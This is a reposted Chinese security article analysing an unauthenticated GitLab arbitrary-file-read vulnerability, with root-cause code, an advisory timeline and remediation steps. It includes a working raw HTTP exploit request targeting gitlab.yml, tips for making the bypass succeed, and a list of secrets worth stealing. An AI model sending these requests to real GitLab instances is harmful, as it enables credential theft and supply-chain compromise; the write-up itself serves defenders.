GitLab满分漏洞:不用账号,服务器文件就被读走了

admin 2026-09-19 05:14:43 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文深度剖析GitLab满分漏洞CVE-2026-85706,该漏洞为路径穿越叠加认证缺失,CVSS10.0,无需账号即可读取服务器任意文件。文章详细拆解了Workhorse与Rails路由解析差异、信任客户端自述file.path及Rack报错外带三个缺陷的叠加利用链,并给出本地靶场复现方法。建议用户立即升级至修复版本,并自查版本号及利用非破坏性探测请求确认是否受影响。 综合评分: 92 文章分类: 漏洞分析,WEB安全,漏洞预警,渗透测试,安全工具


GitLab 满分漏洞:不用账号,服务器文件就被读走了

原创

网络安全透视镜 网络安全透视镜

网络安全透视镜

2026年9月16日 08:28 新加坡

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

2026 年 9 月 10 日,GitLab 发布了 19.3.2 / 19.2.6 / 19.1.8 三个安全版本,一次性修复 18 项漏洞。其中 CVE-2026-85706 拿到了 CVSS 3.1 满分 10.0 :一个 不需要任何账号 的攻击者,只需要发 一个 HTTP 请求 ,就能让 GitLab 服务器把本地任意文件读出来并回显。

更紧迫的是时间:补丁发布的第二天,watchTowr 就观测到了公网上的 在野探测 ;同一天 CISA 把它加进了 KEV 已知被利用漏洞目录,整改期限压到 9 月 14 日。

这篇文章把它的成因、绕过手法、回显通道和修复逻辑完整拆一遍,并给出一个 本地最小靶场 ——不用拉几个 GB 的 GitLab 镜像,也能把这条攻击链真正跑通、跑出差分证据。

📌 本文看点

01

一个斜杠的绕过

02

三个缺陷相乘

03

本地靶场复现

01

OVERVIEW

事件速览

1.1 关键事实

| 项目 | 内容 | | — | — | | 漏洞编号 | CVE-2026-85706(内部 issue #627748) | | 影响产品 | GitLab CE / EE 自建实例 | | 漏洞类型 | 路径穿越 + 认证缺失 → 未认证任意文件读取 | | CWE | CWE-22(叠加 CWE-862 授权缺失) | | CVSS 3.1 | 10.0,AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N | | 官方标题 | Path Traversal issue in repository commits API | | 报告者 | s3ntago(HackerOne #3909881) | | 修复版本 | 19.1.8 / 19.2.6 / 19.3.2 | | 在野状态 | 已确认在野利用,CISA KEV 收录 |

1.2 时间线

2026-09-10 补丁发布

GitLab 发布 19.1.8 / 19.2.6 / 19.3.2,一次性修复 18 项漏洞。

2026-09-11 06:00 UTC 在野探测

watchTowr 开始观测到公网上的互联网级扫描探测。

2026-09-11 CISA 加入 KEV

适用 BOD 26-04 取证分级要求,整改期限压到 2026-09-14。

从补丁发布到在野探测,间隔不到 24 小时

1.3 两个容易被忽略的前提

这个漏洞 不是无条件触发 的,公开分析里反复提到两个前置条件。

至少一个公开项目

匿名请求需要能访问到该项目的 API 端点。大量自建 GitLab 就托管着开源项目,默认就有公开项目。

标准 Workhorse 反向代理部署

也就是默认安装形态,Omnibus、源码、Helm 都算。

「这两条的门槛都非常低,所以它们不构成有效的屏障。」

需要再补一句: 读到不等于一定回显 。服务端确实会去打开你指定的任意路径,但内容要通过 Rack 解析异常才能带出来,所以它依赖文件内容里存在「坏百分号」。这个差别在 3.5 展开,先记住结论: gitlab.yml 这类 GitLab 自己生成的配置文件几乎必然回显 , /etc/passwd 这类干净文件则读得到但不一定看得见。

02

IMPACT

影响范围与自查

2.1 受影响版本

| 分支 | 受影响区间 | 修复版本 | | — | — | — | | 18.x | 18.7 ≤ 版本 < 19.1.8 | 19.1.8 | | 19.2.x | 19.2 ≤ 版本 < 19.2.6 | 19.2.6 | | 19.3.x | 19.3 ≤ 版本 < 19.3.2 | 19.3.2 |

不受影响或无需操作: GitLab.com(官方已修补)、GitLab Dedicated 客户 。受影响的是所有自建部署形态——Omnibus、源码安装、Helm chart。

💡 本次更新包含数据库迁移,单节点安装会有停机时间。三个修复版本中,只有 19.3.2 包含部署后迁移。

2.2 怎么自查

方法一,看版本号:

…bash

curl -s https://gitlab.example.com/api/v4/version

方法二, 非破坏性存在性探测 。这条请求 不读取任何真实文件 ,只问服务端一个问题:我指定的这个路径存在吗?

…bash

curl -s –path-as-is -X POST \

“https://gitlab.example.com/api/v4/projects/1/repository/commits/” \

-H “Content-Type: application/x-www-form-urlencoded” \

–data “file=&file.path=/cve-2026-85706-this-file-must-not-exist&file.size=1&Content-Type=application/x-www-form-urlencoded”

判读:

1

返回 local file not present → 服务端在认证之前就评估了你给的路径,存在漏洞

2

返回 401 Unauthorized → authenticate! 已生效,已修复

3

返回 404 → 路由没命中,通常是 project id 不对或不是公开项目

!踩坑提示 🕳

curl 必须加 –path-as-is,否则末尾那个斜杠会被规范化掉,绕过直接失效。这是「复现不出来」的第一大坑。用 Python requests 写 PoC 同理:requests 会先做 URL 规范化,需要 prepare 之后覆写 .url 把原始路径原样送出。

2.3 暴露面

6.6 万

国内关联风险资产

1.9 万

国内关联 IP

17 万

全球关联风险资产

数据来自 SOL 安全实验室的测绘,口径是「关联风险资产」, 不等于全部可被直接利用 ,但足以说明公网暴露的 GitLab 实例正面临直接扫描压力。

2.4 到底能读走什么

说「服务器文件被读走」,具体是哪些?按危害从高到低:

| 文件 | 里面有什么 | 拿到了意味着什么 | | — | — | — | | gitlab-secrets.json | secret_key_base、db_key_base、CI/CD 变量与令牌的加密密钥 | 最致命,可离线解密全部项目的流水线密钥 | | gitlab.yml | 数据库账号密码、Redis 密码、SMTP 密码 | 直连数据库,横向到 Redis 与邮件系统 | | gitlab.rb | 对象存储 AKSK、各类集成凭据 | 接管制品库与备份桶 | | Runner 注册令牌 / CI 变量 | 流水线执行权限 | 改构建产物、在 Runner 上落地 | | SSH 私钥 / authorized_keys | 主机 SSH 凭据 | 从应用层跳到宿主机 |

「这条链的终点不是看了一份配置,而是:读密钥 → 解密 CI 变量 → 接管 Runner → 污染构建产物 → 源码供应链失守。」

这也是官方把影响范围标成 S:C (范围改变)、机密性与完整性双 H 的原因—— 伤害越过了 GitLab 组件本身 。

03

ANALYSIS

漏洞分析:三个缺陷相乘

这一节是全文的核心。它不是一个教科书式的「忘了加鉴权」,而是 代理层与应用层对同一个 URL 的理解不一致 ,再叠加两个低级别疏漏,最终乘出了一个满分。

3.1 两套路由,两种看法

…text

Internet → NGINX → GitLab Workhorse(Go)→ Puma / Rails / Grape(Ruby)

Workhorse 是 GitLab 用 Go 写的前置中间件,负责路由分流、大请求体接管和部分鉴权预检。关键在于: Workhorse 和 Rails 是两套完全独立的代码、两棵独立的路由表 ,它们看待同一条 URL 的方式并不一致。

…go

// workhorse/internal/upstream/routes.go(要点复刻)

reCommits = regexp.MustCompile(^/api/v4/projects/[^/]+/repository/commits\z)

escapedPath := r.URL.EscapedPath() // 原始路径,不做百分号解码

if reCommits.MatchString(escapedPath) {

  // 命中 → 走「正文上传接管」流程

}

注意正则末尾的 \z : commits 后面不能再有任何字符 。

3.2 一个字符的差距

于是,只要让这条正则 miss,Workhorse 就不会接管这个请求。公开确认可用的写法有三种:

| 向量 | Workhorse | Rails | | — | — | — | | 末尾斜杠 commits/ | 不匹配 \z → MISS | 容忍尾斜杠 → 命中 | | .json 后缀 commits.json | 不匹配 → MISS | 格式后缀 → 命中 | | 百分号编码 %63ommits | 编码态不匹配字面量 → MISS | 解码成 commits → 命中 |

三条路的效果完全一样: Workhorse 认为是普通请求、原样转发;Rails 解码之后仍然命中真正的 commits handler 。

「攻击面不在于某一个组件写错了,而在于两个组件对同一份输入的解释存在缝隙。」

3.3 缺陷一:认证发生在读文件之后

Workhorse 命中上传路由时会做一件非常重要的事: 把请求体缓冲落盘成临时文件,然后把 file.path 重写成那个临时文件的路径 。也就是说,正常情况下 file.path 是服务端产物,攻击者根本控制不了。

但路由 miss 之后,这个重写没发生, file.path 保持了攻击者写进请求里的原始字符串 ——比如 /var/opt/gitlab/gitlab-rails/etc/gitlab.yml 。

…ruby

before do

  require_gitlab_workhorse! # 只验证「请求确实经过了 Workhorse」

  # authenticate! # ← 漏洞版本没有这一行

end

require_gitlab_workhorse! 验的是 Gitlab-Workhorse-Api-Request 这个 JWT。每一个被 Workhorse 代理的请求都会带上它,所以它只证明「你从正门进来的」, 完全不代表任何用户身份 。

更糟的是,真正的 authenticate! 埋在后面的 authorize_push_to_branch! 里, 等它执行的时候,文件已经被读进内存了 。

鉴权的问题从来不是有没有,而是早一步还是晚一步

3.4 缺陷二:信任客户端自述的 file.path

…ruby

def file_params_from_body_upload(params)

  file_path = params[‘file.path’] # ← 攻击者完全可控

  bad_request!(‘local file not present’) unless File.exist?(file_path)

  if params[‘Content-Type’] == ‘application/x-www-form-urlencoded’

    Rack::Utils.parse_nested_query(File.read(file_path)) # ← 读任意文件

  else

    Oj.load_file(file_path, symbol_keys: true) # ← 另一条读分支

  end

end

修复补丁的注释写得很直白: 只信任中间件最终确认的上传元数据,绝不信任原始 file.path / file.size 参数 。

这里的关键是 信任来源错位 : params[‘file.path’] 是 客户端自述 的字符串; params[:file] (一个 ::UploadedFile 对象)才是 中间件产物 。代码读的是前者。

Rails 侧本来有一个 Gitlab::Middleware::Multipart 中间件,负责把 Workhorse 的落盘结果包装成 UploadedFile 并做目录限定,但它在看不到 Gitlab-Workhorse-Multipart-Fields 头时直接返回 nil——而路由 miss 的请求恰好没有这个头。 最后一道防线就这样被跳过了 。

3.5 缺陷三:Rack 报错成了外带通道

文件读到了,还得把内容带出来。这里是第三个精妙之处。

当 Content-Type 参数是 application/x-www-form-urlencoded 时,文件内容会被当成 query string 交给 Rack::Utils.parse_nested_query 解析。Rack 在解码时遇到形如 % 后面不是合法十六进制的序列,会抛异常,而 异常消息里带着出问题的那一整段原文 。

…ruby

Rack 内部:解码失败时抛异常,s 是出问题的那一整段原文

raise Rack::QueryParser::InvalidParameterError, “invalid %-encoding (#{s})”

handler 又把它原样拼进了响应

rescue Rack::QueryParser::InvalidParameterError => e

  bad_request!(“Invalid parameter: #{e.message}”) # ← 内容从这里漏出去

于是: 只要目标文件里存在任意一个「坏百分号」,文件内容就会出现在 HTTP 400 的响应体里 。

而 GitLab 自己的配置文件天然满足这个条件——gitlab.yml 里那句注释 # Default is 95% of the worker timeout 就是现成的触发器。这也是为什么各家 PoC 都拿 gitlab.yml 当第一个目标: 它是应用原生生成的、内容确定能触发泄露的文件 ,不需要往镜像里塞任何构造数据。

对内容里不含 % 的文件(比如 /etc/passwd),异常不会触发,属于「读到了但没回显」——不过攻击者仍可以用同一套请求做存在性预言,或者换 Content-Type 走 Oj.load_file 分支。

3.6 官方补丁的三处改动

…ruby

post ‘:id/repository/commits’ do

  require_gitlab_workhorse!

  authenticate! # ① 补认证

  uploaded_file = params[:file]

  bad_request!(‘file is invalid’) unless uploaded_file.is_a?(::UploadedFile) # ②

  file_path = uploaded_file.path

  # …

rescue Rack::QueryParser::InvalidParameterError

  bad_request!(‘Invalid parameter’) # ③ 不再回显 e.message

end

1

补 authenticate!——匿名请求直接 401,这是最外层

2

只认 ::UploadedFile——从根上堵死「绕过 Workhorse 后输入仍可控」

3

不再回显 e.message——把外带通道关掉

有意思的是,官方的回归测试里专门构造了一个金丝雀字符串写进服务器本地文件,用来验证漏洞版本的错误响应确实会携带文件内容——等于官方亲口确认了这条回显通道。

「三个缺陷,每一个单独看都像是小疏漏。相乘之后就是满分。」

04

POC

PoC 与判定

下面这份是从本地靶场 socket 层抓到的真实原始报文,可以直接粘进 Burp Repeater 或者用nc打。

4.1 HTTP Raw 请求

…http

POST /api/v4/projects/1/repository/commits/ HTTP/1.1

Host: gitlab.example.com

Content-Type: application/x-www-form-urlencoded

Content-Length: 120

Connection: close

file=&file.path=/var/opt/gitlab/gitlab-rails/etc/gitlab.yml&file.size=1&Content-Type=application%2Fx-www-form-urlencoded

三个容易踩的坑:

1

路径末尾的 / 必须保留——它就是绕过本体。curl 要加 –path-as-is;Python requests 会先做 URL 规范化,需要 prepare() 之后覆写 .url 把原始路径原样送出,否则绕过直接失效

2

Content-Length 必须和 body 实际字节数一致(本例 120),不一致会被挂在 Workhorse 上

3

body 里那个 Content-Type 是传给应用的参数,不是 HTTP 头——它决定 handler 走 parse_nested_query 分支,是回显能成立的前提

换成不存在的路径(如 /cve-2026-85706-not-exist)就是非破坏性探测,不读取任何真实文件。

4.2 怎么判断结果

| 响应 | 含义 | | — | — | | 401 Unauthorized | authenticate! 已生效,已修复 | | 400 + invalid %-encoding (…),括号里是文件内容 | 读到了,且已回显 | | 400 + local file not present | 文件不存在;同时说明服务端在认证之前评估了你给的路径,存在漏洞 | | 400 + branch is required | 走了 Workhorse 接管,攻击者路径被丢弃,什么都没读到 | | 404 | 路由没命中,通常是 project id 不对或不是公开项目 |

「别被状态码骗了。这个漏洞成功的标志恰恰是 400——文件内容是通过 Rack 解析异常被拼进 400 响应体带出来的。看到 400 就以为没打中,是这个洞最常见的误判。」

4.3 命令行与脚本

存在性预言(非破坏性,推荐先跑这条):

…bash

curl -s –path-as-is -X POST “https://gitlab.example.com/api/v4/projects/1/repository/commits/” \

-H “Content-Type: application/x-www-form-urlencoded” \

–data “file=&file.path=/cve-2026-85706-not-exist&file.size=1&Content-Type=application%2Fx-www-form-urlencoded”

批量自查用脚本(纯标准库,无第三方依赖):

…bash

python poc_cve_2026_85706.py check –url https://gitlab.example.com –project 1

脚本会依次打 commits/ 末尾斜杠、commits.json、files/ 末尾斜杠 三个向量,并以规范路径 commits 作为对照,按上表判定后直接给出结论。

05

RESPONSE

检测与应急处置

5.1 排查日志

重点看 repository/commits 相关的 POST 请求,尤其 带末尾斜杠和 file.path 参数 的:

…bash

grep -E ‘POST /api/v4/projects/[0-9]+/repository/(commits|files)/?’ \

/var/log/gitlab/nginx/gitlab_access.log | grep ‘file.path’

命中不代表一定失陷,需要结合 来源 IP、时间戳、响应码 ,以及后续的仓库变更、CI/CD 变量与令牌访问、流水线定义改动做关联分析。 无法排除风险时,按失陷处理。

5.2 立即升级

…bash

sudo apt-get update && sudo apt-get install gitlab-ce=19.3.2-ce.0

值得强调的是,本次补丁日还同车修了另外两个高危:

CVE-2026-87719(9.9)

GitLab EE 的 GraphQL 订阅反序列化,有 Duo Chat 访问权限的认证用户可获取 Advanced Search 配置与敏感凭证。

CVE-2026-88765(8.5)

Unicode 转换包装器的缓冲区溢出,导入恶意项目导出可导致 RCE。

一次升全,没有只升一半的理由

5.3 轮换密钥(假设已泄露)

如果你的 GitLab 曾暴露在公网并且存在公开项目, 请假设配置文件已被读取 。需要轮换的至少包括:

1

数据库密码、Redis 密码

2

gitlab-secrets.json 里的密钥——这是 GitLab 的万能钥匙,加密着实例的全部 CI/CD 变量与令牌

3

Runner 注册令牌、对象存储 AKSK

4

SMTP 密码、LDAP/SSO 绑定凭据

5

各类集成(Webhook、外部 CI、镜像仓库)的令牌

「拿到 gitlab-secrets.json,意味着可以从『读一个文件』升级为『接管 Runner、污染构建产物』——源码供应链全线失守。」

5.4 临时缓解

官方 没有 提供升级之外的临时缓解措施。如果确实暂时升不了,可以做两件事争取时间。

一是 限制暴露面 。通过 VPN、防火墙、IP 白名单或反向代理,把 GitLab 限制在可信网络内;没有公网需求的一律下线公网暴露。

二是在反向代理层 拦截带末尾斜杠、.json 或百分号编码的 repository 请求 。例如 NGINX:

…nginx

location ~ ^/api/v4/projects/[^/]+/repository/commits(/|.json) {

  return 403;

}

这是权宜之计,可能影响正常业务,升级完成后应及时移除。正确的处置是升级到修复版本并轮换可能已泄露的密钥。

THE END

复盘:三条启示

两边解析规则不一致的地方,都是攻击面

URL 解码、尾斜杠处理、格式后缀、大小写、路径规范化——每一条都要问一句:上游和下游看到的是同一个东西吗?这次的答案是「不是」,于是攻击者只需要多打一个斜杠。

「我上游已经校验过了」是最危险的假设

下游 handler 不能因为「这个请求经过了 Workhorse」就认为输入可信。安全的做法是建立显式的类型契约:只接受中间件产出的 UploadedFile 对象,不接受请求参数自述的字符串。类型检查和目录限定,一个都不能省。

错误响应永远不要透传底层异常原文

把异常消息拼进响应的写法,在异常可能携带敏感数据时,等于开了一个读文件的后门。日志里可以详细,响应体里必须克制。

「忘加一行认证、多信了一个客户端参数、错误处理多回显了一段异常详情——三个各自不起眼的疏漏相乘,就是满分。」

参考

GitLab 官方补丁公告:docs.gitlab.com/releases/patches/patch-release-gitlab-19-3-2-released/

官方升级指南:docs.gitlab.com/update/

NVD:nvd.nist.gov/vuln/detail/CVE-2026-85706

CISA KEV Catalog:cisa.gov/known-exploited-vulnerabilities-catalog

Rapid7 ETR 分析(2026-09-14):在野利用确认与处置建议

watchTowr 在野探测观测(2026-09-11 06:00 UTC 起)

!声明 🕳

本文所有复现均在本地自建靶场中完成,未对任何线上系统发起测试。文中版本信息与缓解建议请以 GitLab 官方公告为准。检测脚本仅限自有或已书面授权的目标使用。

END

如果你觉得今天这篇有收获,欢迎 点赞、在看、转发 三连,我们下篇见。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:网络安全透视镜 网络安全透视镜 网络安全透视镜《GitLab 满分漏洞:不用账号,服务器文件就被读走了》

    评论:0   参与:  0